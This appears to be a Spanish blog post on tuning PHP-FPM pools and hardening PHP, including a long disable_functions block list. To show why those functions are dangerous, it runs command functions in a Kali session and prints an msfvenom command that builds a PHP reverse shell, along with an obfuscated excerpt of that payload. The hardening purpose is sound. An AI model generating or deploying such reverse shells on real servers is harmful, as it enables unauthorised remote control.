FPM (FastCGI Process Manager) es una implementación alternativa al PHP FastCGI con algunas características adicionales (la mayoría) útiles para sitios web con mucho tráfico. Deshabilitar exponer la versión de PHP, la subida de ficheros, la llamada de URL's externas, las inclusiones fuera del directorio del trabajo, Veremos también cómo deshabilitar funciones potencialmente peligrosas en PHP. Y no sólo las más habituales (exec ,passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source). Funciones utilizadas en web shells de php muy conocidas como: PHP-Reverse-Shell Pentestmonkey , Weevely o phpsploit (webshell).
Qué es PHP-FPM y características
PHP-FPM es la implementación alternativa más popular de PHP FastCGI, que cuenta con características adicionales realmente útiles para sitios web de alto tráfico. Estas son algunas de ellas:
- Gestión avanzada que permite detener/arrancar procesos fácilmente.
- Posibilidad de iniciar hilos de procesos con diferentes uid/gid/chroot/environment y distintos php.ini; sustituye a safe_mode.
- Registro stdout y stderr.
- Reinicio de emergencia en caso de destrucción accidental del caché opcode.
- Soporte acelerado de subidas.
- Configuración de variable slowlog; para detectar qué funciones tardan en ejecutarse más de lo habitual.
- Basado en archivos de configuración php.ini.
- Mejora de FastCGI, como fastcgi_finish_request(); una función especial para detener y descargar todos los datos mientras se continúa haciendo un proceso más largo como la conversión de vídeos o el procesamiento de estadísticas.
- Estadísticas básicas (similar al módulo mod_status de Apache)
- Estático: Se mantendrá un número fijo de procesos PHP pase lo que pase.
- Dinámico: Conseguimos especificar el número mínimo y máximo de procesos que php-fpm se mantendrá vivo en cualquier momento.
- Bajo demanda: Los procesos se crean y destruyen, bueno, bajo demanda.
- static
- dynamic
- ondemand
- pm: Establece cómo el administrador de procesos de PHP controlará el número de subprocesos. Valores posibles: "static", "ondemand", "dynamic".
- pm.max_children - Establece el límite de peticiones simultáneas que pueden servir PHP para este servicio.
- pm.start_servers - Número de subprocesos o hilos creados en el inicio. Solo se usa cuando "pm" está definido a "dynamic".
- pm.min_spare_servers - Número mínimo de procesos en estado "idle". Solo se usa cuando "pm" está definido en "dynamic".
- pm.max_spare_servers - Número máximo de procesos en estado "idle". Solo se usa cuando "pm" está definido en "dynamic".
- pm.process_idle_timeout - Número de segundos tras los cuáles un proceso en estado "idle" será cancelado. Solo se usa cuando "pm" está definido a "ondemand". Unidades disponibles: s(egundos)(por defecto), m(inutos), h(oras), o d(ías).
/etc/php-fpm.d/web.conf
Ejemplo:
[web]user = httpdgroup = httpd;antes;listen = localhost:8001listen.owner = httpdlisten.group = httpdlisten.mode = 0660listen = /var/php-fpm/web.sock;pm = static;pm.max_children = 100; virtualmin defectopm = dynamicpm.max_children = 500pm.start_servers = 20pm.min_spare_servers = 15pm.max_spare_servers = 40;pm.max_spare_servers = 30;pm.max_requests = 500slowlog = /var/log/php-fpm/slow.logrequest_slowlog_timeout = 1sphp_admin_value[upload_tmp_dir] = /home/httpd/tmpphp_admin_value[session.save_path] = /home/httpd/tmp;status activado phpfpmpm.status_path = /fpm-statuswebphp_value[file_uploads] = offphp_value[expose_php] = off; memory_limit por defecto es 128Mphp_value[memory_limit] = 512Mphp_value[register_argc_argv] = Onphp_value[date.timezone] = Europe/Madrid
<FilesMatch \.php$># phpSetHandler proxy:unix:/var/php-fpm/web.sock|fcgi://127.0.0.1</FilesMatch>
echo Total CPU Cores = $(( $(lscpu | awk '/^Socket/{ print $2 }') * $(lscpu | awk '/^Core/{ print $4 }') ))
Calcular consumo medio de memoria del proceso PHP
ps --no-headers -o "rss,cmd" -C php-fpm | awk '{ sum+=$1 } END { printf ("Average memory per PHP process: " "%d%s\n", sum/NR/1024,"M") }'
Setting Value max_children (Total RAM – Memory used for Linux, DB, etc.) / process size start_servers Number of CPU cores x 4 min_spare_servers Number of CPU cores x 2 max_spare_servers Same as start_servers
|
max_children (Total RAM - Memory used for Linux, DB, etc.) / process size
start_servers Number of CPU cores x 4
min_spare_servers Number of CPU cores x 2
max_spare_servers Same as start_servers
pm = dynamic
pm.max_children = 100
pm.start_servers = 32
pm.min_spare_servers = 16
pm.max_spare_servers = 32
pm.max_requests = 200
; Optimized for php-fpm request size of 55MB on AWS EC2 m4.xlarge (4CPU cores, 16GB RAM)
pm = dynamic
pm.max_children = 256
pm.start_servers = 20
pm.min_spare_servers = 10
pm.max_spare_servers = 20
pm.max_requests = 1000
# CentOS default pool
/etc/php-fpm.d/www.conf
# Ubuntu default pool
/etc/php/7.0/fpm/pool.d/www.conf
; Uncomment the following to allow FPM status
pm.status_path = /status
# Enable php-fpm status page
location ~ ^/(status|ping)$ {
## disable access logging for request if you prefer
access_log off;
## Only allow trusted IPs for security, deny everyone else
# allow 127.0.0.1;
# allow 1.2.3.4; # your IP here
# deny all;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
## Now the port or socket of the php-fpm pool we want the status of
fastcgi_pass 127.0.0.1:9000;
# fastcgi_pass unix:/run/php-fpm/your_socket.sock;
}
<LocationMatch "/status">Order deny,allowDeny from allAllow from localhostProxyPass fcgi://localhost:8001/status</LocationMatch>
curl -L 127.0.0.1/status
Y el resultado:
pool: webprocess manager: dynamicstart time: 23/Dec/2020:11:45:16 +0100start since: 108329accepted conn: 4577listen queue: 0max listen queue: 1listen queue len: 128idle processes: 3active processes: 1total processes: 4max active processes: 4max children reached: 0slow requests: 0
- max children reached
- idle processes
WARNING: [pool www] seems busy (you may need to increase pm.start_servers, or pm.min/max_spare_servers), spawning x children, there are x idle, and x total children
WARNING: [pool web ] server reached pm.max_children setting (50), consider raising it
Opciones de Seguridad en PHP
Exponer versión PHP
X-Powered-By: PHP/7.4.x
Ocultar la versión PHP que se ejecuta en el servidor añadir directiva en todos los phpfpm
expose_php 0
expose_php = off
No muestres errores por pantalla
display_errors = Off
Pero guarda los errores en fichero
log_errors = on
error_log=/var/log/httpd/php_scripts_error.log
Si está habilitado, allow_url_fopen permite que las funciones de archivo de PHP, como file_get_contents () y las declaraciones include y require, puedan recuperar datos de ubicaciones remotas, como un sitio web o FTP.
- include(), require(), o file_get_contents()
Ejemplo
file_get_contents('https://www.example.com');
La opción allow_url_fopen permite que las funciones de archivo de PHP, como file_get_contents () y las declaraciones include y require, puedan recuperar datos de ubicaciones remotas utilizando protocolos ftp o http. Los programadores con frecuencia olvidan esto y no filtran adecuadamente las entradas cuando pasan datos proporcionados por el usuario a estas funciones, lo que las abre a vulnerabilidades de inyección de código. Una gran cantidad de vulnerabilidades de inyección de código reportadas en aplicaciones web basadas en PHP son causadas por la combinación de habilitar allow_url_fopen y un filtrado de entrada incorrecto. Edite /etc/php.d/security.ini y configura la siguiente directiva:
allow_url_fopen = Off
Ten en cuenta que algunos CMS, como PrestaShop necesitan allor_url_fopen on (activado) para funcionar correctamente. Ya que realizan llamadas a terceros.
También recomiendo deshabilitar allow_url_include por razones de seguridad:
allow_url_include = Off
Cookies seguras
session.cookie_httponly = On
session.cookie_secure = On
Recuerda
php_value o php_flag según correspondaphp_value[upload_max_filesize] = 64MEs importante usar php_admin_value para impedir que los usuarios sobrescriban la configuración de las directivas que no queremos que se cambien:
php_value[post_max_size] = 64M
php_flag[display_errors] = Off
It’s also possible to prevent config values from being overridden by ini_set by using php_admin_value and php_admin_flag.Funciones deshabilitadas para que no hagan "override" config original (con el php admin de arriba ya no hará falta)
- ini_set
- error_reporting
- set_include_path
<IfModule mod_php5.c>php_value include_path ".:/usr/local/lib/php"php_admin_flag engine on</IfModule>
php_admin_value[upload_max_filesize] = 64M
php_admin_value[post_max_size] = 64M
php_admin_flag[display_errors] = Off
- php_flag nombre on|off
Usado para establecer una directiva de configuración de tipo boolean. Sólo puede usarse con las directivas de tipo PHP_INI_ALL y PHP_INI_PERDIR.
- php_admin_value nombre valor
- php_admin_flag nombre on|off
Usado para establecer una directiva de configuración de tipo boolean. Esto no se puede usar en ficheros .htaccess. Ninguna directiva establecida con php_admin_flag podrá ser sobrescrita por .htaccess o por ini_set().
include_path = /home/user/public_html
open_basedir = /home/user/public_html
Recuerda /home/user/public_html incluye /home/user/public_html/* y /home/user/public_html/ (acabado con la barra) sólo ese directorio
Si no utilizas la función de subir ficheros, la puedes, debes deshabilitar:
php_value[file_uploads] = off
Deshabilitar Funciones PHP
Funciones potencialmente peligrosas en PHP.
- Cómo deshabilitar funciones peligrosas de PHP.
Aquí está el resumen rápido de lo que puede hacer con las funciones php.
Ejemplos básicos.
- system: muestra inmediatamente toda la salida y se usa para mostrar texto
- passthru: devuelve la salida inmediatamente, pero se usa para datos binarios y se usa para devolver datos binarios en lugar de ascii.
- shell_exec devuelve la salida completa del comando, cuando el comando terminó de ejecutarse.
- exec: solo devuelve la última línea de la salida generada.
- proc_open y popen
Imagina que encontraste una carga de archivo o una vulnerabilidad de inclusión remota de archivos donde puedes cargar / solicitar tu php-reverse-shell y obtener un shell rápido. Sin embargo, es posible que el administrador haya desactivado todas las funciones php anteriores, así que veamos estas 4 funciones php peligrosas en acción antes de pasar a las otras funciones.
root@kali:~# cat system.php
system("whoami");
?>
root@kali:~#
root@kali:~# php system.php
root
root@kali:~#
/etc/php/7.2/cli/php.ini
display_errors = On
root@kali:~# php pasthru.phpPHP Warning: passthru() has been disabled for security reasons in /root/pasthru.php on line 2Warning: passthru() has been disabled for security reasons in /root/pasthru.php on line 2root@kali:~#
Ten en cuenta también que estamos recibiendo este error debido a la función Display_errors = On. Puede habilitar esta función en el entorno de producción, pero debes deshabilitarla en el entorno en vivo.
PHP-Reverse-Shell Pentestmonkey , Weevely, phpsploit
Todos sabemos el famoso php-reverse-shell para linux de pentest-monkey:
- https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
- https://github.com/epinna/weevely3
- https://github.com/nil0x42/phpsploit
Podemos intentar obtener un shell con el shell inverso anterior, ya que usa la función proc_open.
- Disable proc_open function
Msfvenom PHP Shell
root@kali:/usr/share/webshells/php# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=443 -f raw > shell.php
if($rRMZDi('shell_exec')and!$WzjhDqn('shell_exec',$dis)){[..]}elseif($rRMZDi('passthru')and!$WzjhDqn('passthru',$dis)){[..]}elseif($rRMZDi('popen')and!$WzjhDqn('popen',$dis)){[..]}elseif($rRMZDi('exec')and!$WzjhDqn('exec',$dis)){[..]}elseif($rRMZDi('system')and!$WzjhDqn('system',$dis)){[..]}elseif($rRMZDi('proc_open')and!$WzjhDqn('proc_open',$dis)){$handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);[..]
Utiliza las funciones
- shell_exec, passthru, popen, exec, system and proc_open
- fsockopen and socket_create
Mail () y Putenv ()
Mod_cgi
Imap_open ()
php_admin_value[disable_functions] = system, passthru, shell_exec, exec, proc_open, popen, fsockopen, socket_create, imap_open, mail, putenv
Pero esto no es suficiente, hay muchas más funciones potencialmente peligrosas:
allow_url_fopen, allow_url_include, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, curl_exec, curl_multi_exec, define_syslog_variables, diskfreespace, disk_free_space, disk_total_space, dl, escapeshellarg, escapeshellcmd, exec, passthru, shell_exec, system, popen, curl_exec, curl_multi_exec, pcntl_exec, pcntl_exec, putenv, proc_close, proc_get_status, proc_nice, proc_terminate, popen, pclose, ini_alter, virtual, openlog, escapeshellcmd, escapeshellarg, parse_ini_file, show_source, imap_open, ftp_connect, posix_uname, posix_getuid, posix_getgid, apache_setenv, define_syslog_variables, eval, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, highlight_file, ini_alter, ini_restore, inject_code, openlog, phpAds_remoteInfo, phpAds_XmlRpc, phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, syslog, xmlrpc_entity_decode, pipe, parse_ini_file, show_source, dl, ini_alter, virtual, openlog, apc_add, apc_bin_dump, apc_bin_dumpfile, apc_bin_loadfile, apc_cache_info, apc_cas, apc_clear_cache, apc_compile_file, apc_dec, apc_define_constants, apc_delete_file, apc_delete, apc_exists, apc_fetch, apc_inc, apc_load_constants, apc_store, symlink, eval, extract, fsockopen, getcwd, getenv, getlastmo, getmygid, getmyinode, getmypid, getmyuid, get_cfg_var, get_current_user, ini_alter, ini_restore, dl, exec, shell, proc_close, ini_restore, ini_set, mail, parse_ini_file, pcntl_alarm, pcntl_exec, pcntl_fork, pcntl_getpriority, pcntl_get_last_error, pcntl_setpriority, pcntl_signal, pcntl_signal_dispatch, pcntl_sigprocmask, pcntl_sigtimedwait, pcntl_sigwaitinfo, pcntl_strerrorp, pcntl_wait, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, phpinfo, php_uname, popen, posixc, posix_getlogin, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_ttyname, posix_uname, proc_close, proc_get_status, proc_nice, proc_terminate, ps_aux, readlink, runkit_function_rename, show_source, socket_create, stream_select, symlink, syslog
Aunque algunas de estas funciones son utilizadas por WordPress por ejemplo:
- getenv
- extract
- php_uname
- ini_set
error_log = /var/log/php-fpm/php_errors.log; Log errors to syslog.;error_log = syslog
Para buscar errores:
Got error 'PHP message: PHP Warning: extract() has been disabled for security reasons in /home/dominio/public_html
No hay comentarios:
Publicar un comentario